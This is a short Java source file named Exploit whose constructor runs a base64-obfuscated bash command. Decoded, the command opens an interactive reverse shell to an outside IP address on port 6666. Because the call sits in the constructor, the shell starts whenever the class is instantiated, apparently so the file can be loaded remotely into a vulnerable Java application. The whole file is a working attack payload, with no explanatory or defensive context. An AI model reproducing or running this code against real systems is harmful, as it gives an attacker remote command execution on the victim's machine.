//javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuNzEuNDUuMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}